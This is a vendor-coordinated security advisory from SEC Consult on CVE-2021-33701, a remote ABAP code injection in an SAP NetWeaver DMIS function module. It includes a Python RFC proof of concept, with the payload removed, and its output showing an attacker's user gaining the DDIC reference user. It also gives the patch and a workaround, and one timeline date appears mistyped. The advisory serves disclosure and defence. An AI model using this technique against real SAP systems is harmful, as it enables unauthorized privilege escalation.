SEC Consult Vulnerability Lab Security Advisory < 20211214-1 >
=======================================================================
               title: Remote ABAP Code Injection in SAP IUUC_RECON_RC_COUNT_TABLE_BIG
             product: SAP Netweaver
  vulnerable version: SAP DMIS 2011_1_731  SP 0013
       fixed version: see solution section below
          CVE number: CVE-2021-33701
            SAP Note: 3078312
              impact: Critical
      CVSS 3.1 Score: 9.1
     CVSS 3.1 Vector: CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
            homepage: https://www.sap.com/
               found: 2021-07-16
                  by: Raschin Tavakoli (Office Vienna)
                      SEC Consult Vulnerability Lab

                      An integrated part of SEC Consult, an Atos company
                      Europe | Asia | North America

                      https://www.sec-consult.com

=======================================================================

Vendor description:
-------------------
"SAP SE is a German multinational software corporation based in Walldorf,
Baden-Württemberg, that develops enterprise software to manage business
operations and customer relations. The company is especially known for its ERP
software. SAP is the largest non-American software company by revenue, the
world's third-largest publicly-traded software company by revenue, and the
largest German company by market capitalisation."

Source: https://en.wikipedia.org/wiki/SAP


Business recommendation:
------------------------
SAP® released the patch (SNote 3078312) and SEC Consult advises all SAP®
customers to update their systems immediately.

An in-depth security analysis performed by security professionals is
highly advised, as the software may be affected from further security issues.


Vulnerability overview/description:
-----------------------------------
1. Remote ABAP Code Injection in SAP IUUC_RECON_RC_COUNT_TABLE_BIG (CVE-2021-33701)

The IT_WHERE_CLAUSE parameter of the function module
IUUC_RECON_RC_COUNT_TABLE_BIG is vulnerable to an ABAP Code Injection.
Unfiltered user input is used to generate ABAP code dynamically via the
GENERATE SUBROUTINE statement which then gets executed with a PERFORM
statement. As the attacker can freely choose the characters that can be used
in these fields, he can execute arbitrary ABAP code.

As the affected function module is remote enabled, it allows attackers to
perform remote attacks via RFC.

Note that the vulnerable code part inside the function module has been changed
in newer releases. The original code that was vulnerable to an ABAP Code
Injection has been replaced with an ADBC driver call. Unfortunately, this
change also introduced an SQL injection vulnerability, which was addressed in
SNote 3078312.

The issue has been reported in a separate SEC Consult advisory and can be viewed
at the following URL:

https://sec-consult.com/vulnerability-lab/advisory/remote-adbc-sql-injection-in-sap-netweaver


Attack Prerequisites
--------------------
1. Remote ABAP Code Injection in SAP IUUC_RECON_RC_COUNT_TABLE_BIG (CVE-2021-33701)

First prerequisite is the authorization object S_DMIS (SAP SLO Data migration
server) with at least the following settings:

MBT_PR_ARE: SAP Landscape Transformation
MBT_PR_LEV: (not needed to be set)
ACTVT:    03 Display

Note that it is common practice that authorization objects are (mis)configured
with wildcards, which increases the likelihood of the vulnerability.

Further, of course, authorization to perform function calls (S_RFC) has to be
granted.

In the majority of cases internal RFC communications are nowadays still found
to be unencrypted. This increases the risk that attackers wiretap DMIS related
account passwords. Once such user is hijacked, the attacker has gained all
necessary prerequisites for further attacks as described in this advisory.


Proof of concept:
-----------------
1. Remote ABAP Code Injection in SAP IUUC_RECON_RC_COUNT_TABLE_BIG (CVE-2021-33701)

As a proof of concept, a script was created that assigns the attacker himself
the reference user DDIC inside the table REFUSER:

* ************************************************************************** *
#!/usr/bin/env python3
from pyrfc import Connection

if __name__ == '__main__':

     mandt = {'000', '001'}  # selected for demonstration purpose
     conn = Connection(ashost="XX.XX.XX.XX", sysnr="00", client="001",
                       user="DEVELOPER", passwd="Sap123456", lang='EN')

     print("USREFUS before:")
     result = conn.call('RFC_READ_TABLE',
                        QUERY_TABLE='USREFUS',
                        FIELDS=['MANDT', 'BNAME', 'REFUSER'],
                        DELIMITER='|'
                        )
     column_values = []

     for line in result['DATA']:
         print(line['WA'])

     [ --- PoC partially removed --- ]

     print("\nSending payload ...\n")

     result = conn.call('RFC_READ_TABLE',
                        QUERY_TABLE='USREFUS',
                        FIELDS=['MANDT', 'BNAME', 'REFUSER'],
                        DELIMITER='|'
                        )
     column_values = []

     print("USREFUS after:")
     for line in result['DATA']:
         print(line['WA'])
* ************************************************************************** *

Running the code produces the following output:

$> iuuc_generic_abap.py
USREFUS before:
001|DEVELOPER   |
001|BWDEVELOPER |
001|TEST        |
001|E_TEST      |
001|DDIC        |
001|SAP*        |

Sending payload ...

USREFUS after:
001|BWDEVELOPER |
001|TEST        |
001|E_TEST      |
001|DDIC        |
001|SAP*        |
001|DEVELOPER   |DDIC
  
  
Vulnerable / tested versions:
-----------------------------
This vulnerability has been tested on SAP Netweaver 752, 0001 (SP-Level),
SAPK-11616INDMIS (Support Package) SAP DMIS 2011_1_731.


Vendor contact timeline:
------------------------
2021-07-18: Contacting SAP Product Security Response Team through Web Portal
             https://www.sap.com/about/trust-center/security/incident-management.html
             ID SR-21-00018 has been assigned
2021-07-21: Vendor informs that the discussion has been taken up to the
             application team
2022-07-21: Vendor confirms vulnerability but marks it internally as a duplicate
             for CVE-2021-33701 (see our other advisory for this function module)
2021-11-17: SEC Consult sends final advisory to vendor and informs about release
             date
2021-12-14: Coordinated release of security advisory


Solution:
---------
SEC Consult advises all SAP® customers to implement SAP Security Note
3078312 immediately. Note that Security Note 3078312 contains no automatic
correction instructions for customers who run systems with DMIS versions or
Support Package levels lower than DMIS 2011 SP10 (2015). Please refer to the
section workaround.


Workaround:
-----------
In lower SP levels, the correction can be applied manually by modifying
function module IUUC_RECON_RC_COUNT_TABLE_BIG adding the following statement
directly after the authorization check:

ASSERT it_where_clause[] IS INITIAL.


Advisory URL:
-------------
https://sec-consult.com/vulnerability-lab/


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab

SEC Consult, an Atos company
Europe | Asia | North America

About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an
Atos company. It ensures the continued knowledge gain of SEC Consult in the
field of network and application security to stay ahead of the attacker. The
SEC Consult Vulnerability Lab supports high-quality penetration testing and
the evaluation of new offensive and defensive technologies for our customers.
Hence our customers obtain the most current information about vulnerabilities
and valid recommendation about the risk profile of new technologies.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your application https://sec-consult.com/career/

Interested in improving your cyber security with the experts of SEC Consult?
Contact our local offices https://sec-consult.com/contact/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Mail: research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: http://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult

EOF Raschin Tavakoli / @2021